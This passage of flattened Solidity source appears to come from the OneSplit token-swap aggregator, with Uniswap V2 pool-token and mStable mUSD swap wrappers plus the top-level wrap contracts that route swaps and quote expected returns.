deadline ) external returns (uint256[2] memory amounts, uint liquidity); function removeLiquidity( IERC20 tokenA, IERC20 tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint256[2] memory); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, IERC20[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function getAmountsOut(uint amountIn, IERC20[] calldata path) external view returns (uint[] memory amounts); } // File: contracts/interface/IUniswapV2Pair.sol pragma solidity ^0.5.0; interface IUniswapV2Pair { function factory() external view returns (address); function token0() external view returns (IERC20); function token1() external view returns (IERC20); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); } // File: contracts/OneSplitUniswapV2PoolToken.sol pragma solidity ^0.5.0; library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } contract OneSplitUniswapV2PoolTokenBase { using SafeMath for uint256; IUniswapV2Router constant uniswapRouter = IUniswapV2Router(0xf164fC0Ec4E93095b804a4795bBe1e041497b92a); function isLiquidityPool(IERC20 token) internal view returns (bool) { (bool success, bytes memory data) = address(token).staticcall.gas(2000)( abi.encode(IUniswapV2Pair(address(token)).factory.selector) ); if (!success || data.length == 0) { return false; } return abi.decode(data, (address)) == 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; } struct TokenInfo { IERC20 token; uint256 reserve; } struct PoolDetails { TokenInfo[2] tokens; uint256 totalSupply; } function _getPoolDetails(IUniswapV2Pair pair) internal view returns (PoolDetails memory details) { (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); details.tokens[0] = TokenInfo({ token: pair.token0(), reserve: reserve0 }); details.tokens[1] = TokenInfo({ token: pair.token1(), reserve: reserve1 }); details.totalSupply = IERC20(address(pair)).totalSupply(); } function _calcRebalanceAmount( uint256 leftover, uint256 balanceOfLeftoverAsset, uint256 secondAssetBalance ) internal pure returns (uint256) { return Math.sqrt( 3988000 * leftover * balanceOfLeftoverAsset + 3988009 * balanceOfLeftoverAsset * balanceOfLeftoverAsset - 9 * balanceOfLeftoverAsset * balanceOfLeftoverAsset / (secondAssetBalance - 1) ) / 1994 - balanceOfLeftoverAsset * 1997 / 1994; } } contract OneSplitUniswapV2PoolTokenView is OneSplitViewWrapBase, OneSplitUniswapV2PoolTokenBase { function getExpectedReturn( IERC20 fromToken, IERC20 toToken, uint256 amount, uint256 parts, uint256 flags ) public view returns( uint256 returnAmount, uint256[] memory distribution ) { if (fromToken == toToken) { return (amount, new uint256[](DEXES_COUNT)); } if (!flags.check(FLAG_DISABLE_UNISWAP_V2_POOL_TOKEN)) { bool isPoolTokenFrom = isLiquidityPool(fromToken); bool isPoolTokenTo = isLiquidityPool(toToken); if (isPoolTokenFrom && isPoolTokenTo) { ( uint256 returnWETHAmount, uint256[] memory poolTokenFromDistribution ) = _getExpectedReturnFromUniswapV2PoolToken( fromToken, weth, amount, parts, FLAG_DISABLE_UNISWAP_V2_POOL_TOKEN ); ( uint256 returnPoolTokenToAmount, uint256[] memory poolTokenToDistribution ) = _getExpectedReturnToUniswapV2PoolToken( weth, toToken, returnWETHAmount, parts, FLAG_DISABLE_UNISWAP_V2_POOL_TOKEN ); for (uint i = 0; i < poolTokenToDistribution.length; i++) { poolTokenFromDistribution[i] |= poolTokenToDistribution[i] << 128; } return (returnPoolTokenToAmount, poolTokenFromDistribution); } if (isPoolTokenFrom) { return _getExpectedReturnFromUniswapV2PoolToken( fromToken, toToken, amount, parts, FLAG_DISABLE_UNISWAP_V2_POOL_TOKEN ); } if (isPoolTokenTo) { return _getExpectedReturnToUniswapV2PoolToken( fromToken, toToken, amount, parts, FLAG_DISABLE_UNISWAP_V2_POOL_TOKEN ); } } return super.getExpectedReturn( fromToken, toToken, amount, parts, flags ); } function _getExpectedReturnFromUniswapV2PoolToken( IERC20 poolToken, IERC20 toToken, uint256 amount, uint256 parts, uint256 flags ) private view returns( uint256 returnAmount, uint256[] memory distribution ) { distribution = new uint256[](DEXES_COUNT); PoolDetails memory details = _getPoolDetails(IUniswapV2Pair(address(poolToken))); for (uint i = 0; i < 2; i++) { uint256 exchangeAmount = amount .mul(details.tokens[i].reserve) .div(details.totalSupply); if (toToken == details.tokens[i].token) { returnAmount = returnAmount.add(exchangeAmount); continue; } (uint256 ret, uint256[] memory dist) = this.getExpectedReturn( details.tokens[i].token, toToken, exchangeAmount, parts, flags ); returnAmount = returnAmount.add(ret); for (uint j = 0; j < distribution.length; j++) { distribution[j] |= dist[j] << (i * 8); } } return (returnAmount, distribution); } function _getExpectedReturnToUniswapV2PoolToken( IERC20 fromToken, IERC20 poolToken, uint256 amount, uint256 parts, uint256 flags ) private view returns( uint256 returnAmount, uint256[] memory distribution ) { distribution = new uint256[](DEXES_COUNT); PoolDetails memory details = _getPoolDetails(IUniswapV2Pair(address(poolToken))); // will overwritten to liquidity amounts uint256[2] memory amounts; amounts[0] = amount.div(2); amounts[1] = amount.sub(amounts[0]); uint256[] memory dist = new uint256[](distribution.length); for (uint i = 0; i < 2; i++) { if (fromToken == details.tokens[i].token) { continue; } (amounts[i], dist) = this.getExpectedReturn( fromToken, details.tokens[i].token, amounts[i], parts, flags ); for (uint j = 0; j < distribution.length; j++) { distribution[j] |= dist[j] << (i * 8); } } uint256 possibleLiquidity0 = amounts[0].mul(details.totalSupply).div(details.tokens[0].reserve); returnAmount = Math.min( possibleLiquidity0, amounts[1].mul(details.totalSupply).div(details.tokens[1].reserve) ); uint256 leftoverIndex = possibleLiquidity0 > returnAmount ? 0 : 1; IERC20[] memory path = new IERC20[](2); path[0] = details.tokens[leftoverIndex].token; path[1] = details.tokens[1 - leftoverIndex].token; uint256 optimalAmount = amounts[1 - leftoverIndex].mul( details.tokens[leftoverIndex].reserve ).div(details.tokens[1 - leftoverIndex].reserve); IERC20 _poolToken = poolToken; // stack too deep uint256 exchangeAmount = _calcRebalanceAmount( amounts[leftoverIndex].sub(optimalAmount), path[0].balanceOf(address(_poolToken)).add(optimalAmount), path[1].balanceOf(address(_poolToken)).add(amounts[1 - leftoverIndex]) ); (bool success, bytes memory data) = address(uniswapRouter).staticcall.gas(200000)( abi.encodeWithSelector( uniswapRouter.getAmountsOut.selector, exchangeAmount, path ) ); if (!success) { return ( returnAmount, distribution ); } uint256[] memory amountsOutAfterSwap = abi.decode(data, (uint256[])); uint256 _addedLiquidity = returnAmount; // stack too deep PoolDetails memory _details = details; // stack too deep returnAmount = _addedLiquidity.add( amountsOutAfterSwap[1] // amountOut after swap .mul(_details.totalSupply.add(_addedLiquidity)) .div(_details.tokens[1 - leftoverIndex].reserve.sub(amountsOutAfterSwap[1])) ); return ( returnAmount, distribution ); } } contract OneSplitUniswapV2PoolToken is OneSplitBaseWrap, OneSplitUniswapV2PoolTokenBase { function _swap( IERC20 fromToken, IERC20 toToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { if (fromToken == toToken) { return; } if (!flags.check(FLAG_DISABLE_UNISWAP_V2_POOL_TOKEN)) { bool isPoolTokenFrom = isLiquidityPool(fromToken); bool isPoolTokenTo = isLiquidityPool(toToken); if (isPoolTokenFrom && isPoolTokenTo) { uint256[] memory dist = new uint256[](distribution.length); for (uint i = 0; i < distribution.length; i++) { dist[i] = distribution[i] & ((1 << 128) - 1); } uint256 wEthBalanceBefore = weth.balanceOf(address(this)); _swapFromUniswapV2PoolToken( fromToken, weth, amount, dist, FLAG_DISABLE_UNISWAP_V2_POOL_TOKEN ); for (uint i = 0; i < distribution.length; i++) { dist[i] = distribution[i] >> 128; } uint256 wEthBalanceAfter = weth.balanceOf(address(this)); return _swapToUniswapV2PoolToken( weth, toToken, wEthBalanceAfter.sub(wEthBalanceBefore), dist, FLAG_DISABLE_UNISWAP_V2_POOL_TOKEN ); } if (isPoolTokenFrom) { return _swapFromUniswapV2PoolToken( fromToken, toToken, amount, distribution, FLAG_DISABLE_UNISWAP_V2_POOL_TOKEN ); } if (isPoolTokenTo) { return _swapToUniswapV2PoolToken( fromToken, toToken, amount, distribution, FLAG_DISABLE_UNISWAP_V2_POOL_TOKEN ); } } return super._swap( fromToken, toToken, amount, distribution, flags ); } function _swapFromUniswapV2PoolToken( IERC20 poolToken, IERC20 toToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { poolToken.universalApprove(address(uniswapRouter), uint256(-1)); IERC20 [2] memory tokens = [ IUniswapV2Pair(address(poolToken)).token0(), IUniswapV2Pair(address(poolToken)).token1() ]; uint256[2] memory amounts = uniswapRouter.removeLiquidity( tokens[0], tokens[1], amount, uint256(0), uint256(0), address(this), now.add(1800) ); uint256[] memory dist = new uint256[](distribution.length); for (uint i = 0; i < 2; i++) { if (toToken == tokens[i]) { continue; } for (uint j = 0; j < distribution.length; j++) { dist[j] = (distribution[j] >> (i * 8)) & 0xFF; } this.swap( tokens[i], toToken, amounts[i], 0, dist, flags ); } } function _swapToUniswapV2PoolToken( IERC20 fromToken, IERC20 poolToken, uint256 amount, uint256[] memory distribution, uint256 flags ) private { IERC20 [2] memory tokens = [ IUniswapV2Pair(address(poolToken)).token0(), IUniswapV2Pair(address(poolToken)).token1() ]; // will overwritten to liquidity amounts uint256[2] memory amounts; amounts[0] = amount.div(2); amounts[1] = amount.sub(amounts[0]); uint256[] memory dist = new uint256[](distribution.length); for (uint i = 0; i < 2; i++) { tokens[i].universalApprove(address(uniswapRouter), uint256(-1)); if (fromToken == tokens[i]) { continue; } for (uint j = 0; j < distribution.length; j++) { dist[j] = (distribution[j] >> (i * 8)) & 0xFF; } this.swap( fromToken, tokens[i], amounts[i], 0, dist, flags ); amounts[i] = tokens[i].universalBalanceOf(address(this)); } (uint256[2] memory redeemAmounts, ) = uniswapRouter.addLiquidity( tokens[0], tokens[1], amounts[0], amounts[1], uint256(0), uint256(0), address(this), now.add(1800) ); if ( redeemAmounts[0] == amounts[0] && redeemAmounts[1] == amounts[1] ) { return; } uint256 leftoverIndex = amounts[0] != redeemAmounts[0] ? 0 : 1; IERC20[] memory path = new IERC20[](2); path[0] = tokens[leftoverIndex]; path[1] = tokens[1 - leftoverIndex]; address _poolToken = address(poolToken); // stack too deep uint256 leftover = amounts[leftoverIndex].sub(redeemAmounts[leftoverIndex]); uint256 exchangeAmount = _calcRebalanceAmount( leftover, path[0].balanceOf(_poolToken), path[1].balanceOf(_poolToken) ); (bool success, bytes memory data) = address(uniswapRouter).call.gas(1000000)( abi.encodeWithSelector( uniswapRouter.swapExactTokensForTokens.selector, exchangeAmount, uint256(0), path, address(this), now.add(1800) ) ); if (!success) { return; } uint256[] memory amountsOut = abi.decode(data, (uint256[])); address(uniswapRouter).call.gas(1000000)( abi.encodeWithSelector( uniswapRouter.addLiquidity.selector, tokens[0], tokens[1], leftoverIndex == 0 ? leftover.sub(amountsOut[0]) : amountsOut[1], leftoverIndex == 1 ? leftover.sub(amountsOut[0]) : amountsOut[1], uint256(0), uint256(0), address(this), now.add(1800) ) ); } } // File: contracts/OneSplitMStable.sol pragma solidity ^0.5.0; contract OneSplitMStableView is OneSplitViewWrapBase { function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { if (fromToken == destToken) { return (amount, 0, new uint256[](DEXES_COUNT)); } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_MSTABLE_MUSD)) { if (fromToken == IERC20(musd) && ((destToken == usdc || destToken == dai || destToken == usdt || destToken == tusd))) { (,, uint256 result) = musd_helper.getRedeemValidity(fromToken, amount, destToken); return (result, 300_000, new uint256[](DEXES_COUNT)); } if (destToken == IERC20(musd) && ((fromToken == usdc || fromToken == dai || fromToken == usdt || fromToken == tusd))) { (,, uint256 result) = musd.getSwapOutput(fromToken, destToken, amount); return (result, 300_000, new uint256[](DEXES_COUNT)); } } return super.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } } contract OneSplitMStable is OneSplitBaseWrap { function _swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { if (fromToken == destToken) { return; } if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_MSTABLE_MUSD)) { if (fromToken == IERC20(musd) && ((destToken == usdc || destToken == dai || destToken == usdt || destToken == tusd))) { (,, uint256 result) = musd_helper.getRedeemValidity(fromToken, amount, destToken); musd.redeem( destToken, result ); return; } if (destToken == IERC20(musd) && ((fromToken == usdc || fromToken == dai || fromToken == usdt || fromToken == tusd))) { musd.swap( fromToken, destToken, amount, address(this) ); return; } } return super._swap( fromToken, destToken, amount, distribution, flags ); } } // File: contracts/OneSplit.sol pragma solidity ^0.5.0; //import "./OneSplitSmartToken.sol"; contract OneSplitViewWrap is OneSplitViewWrapBase, OneSplitMultiPathView, OneSplitMStableView, OneSplitChaiView, OneSplitBdaiView, OneSplitAaveView, OneSplitFulcrumView, OneSplitCompoundView, OneSplitIearnView, OneSplitIdleView, OneSplitWethView, //OneSplitBalancerPoolTokenView, //OneSplitUniswapPoolTokenView, //OneSplitCurvePoolTokenView OneSplitSmartTokenView // OneSplitUniswapV2PoolTokenView { IOneSplitView public oneSplitView; constructor(IOneSplitView _oneSplit) public { oneSplitView = _oneSplit; } function getExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) public view returns( uint256 returnAmount, uint256[] memory distribution ) { (returnAmount, , distribution) = getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, 0 ); } function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, // See constants in IOneSplit.sol uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { if (fromToken == destToken) { return (amount, 0, new uint256[](DEXES_COUNT)); } return super.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } function _getExpectedReturnRespectingGasFloor( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) internal view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { return oneSplitView.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } } contract OneSplitWrap is OneSplitBaseWrap, OneSplitMultiPath, OneSplitMStable, OneSplitChai, OneSplitBdai, OneSplitAave, OneSplitFulcrum, OneSplitCompound, OneSplitIearn, OneSplitIdle, OneSplitWeth, //OneSplitBalancerPoolToken, //OneSplitUniswapPoolToken, //OneSplitCurvePoolToken OneSplitSmartToken // OneSplitUniswapV2PoolToken { IOneSplitView public oneSplitView; IOneSplit public oneSplit; constructor(IOneSplitView _oneSplitView, IOneSplit _oneSplit) public { oneSplitView = _oneSplitView; oneSplit = _oneSplit; } function() external payable { // solium-disable-next-line security/no-tx-origin require(msg.sender != tx.origin); } function getExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags ) public view returns( uint256 returnAmount, uint256[] memory distribution ) { (returnAmount, , distribution) = getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, 0 ); } function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { return oneSplitView.getExpectedReturnWithGas( fromToken, destToken, amount, parts, flags, destTokenEthPriceTimesGasPrice ); } function swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 minReturn, uint256[] memory distribution, // [Uniswap, Kyber, Bancor, Oasis] uint256 flags // 16 - Compound, 32 - Fulcrum, 64 - Chai, 128 - Aave, 256 - SmartToken, 1024 - bDAI ) public payable returns(uint256 returnAmount) { if (msg.sender != address(this)) { fromToken.universalTransferFrom(msg.sender, address(this), amount); } uint256 confirmed = fromToken.universalBalanceOf(address(this)); _swap(fromToken, destToken, confirmed, distribution, flags); returnAmount = destToken.universalBalanceOf(address(this)); require(returnAmount >= minReturn, "OneSplit: actual return amount is less than minReturn"); if (msg.sender != address(this)) { destToken.universalTransfer(msg.sender, returnAmount); fromToken.universalTransfer(msg.sender, fromToken.universalBalanceOf(address(this))); } } function _swapFloor( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256[] memory distribution, uint256 flags ) internal { (bool success, bytes memory data) = address(oneSplit).delegatecall( abi.encodeWithSelector( this.swap.selector, fromToken, destToken, amount, 0, distribution, flags ) ); assembly { switch success // delegatecall returns 0 on error. case 0 { revert(add(data, 32), returndatasize) } } } }
DC1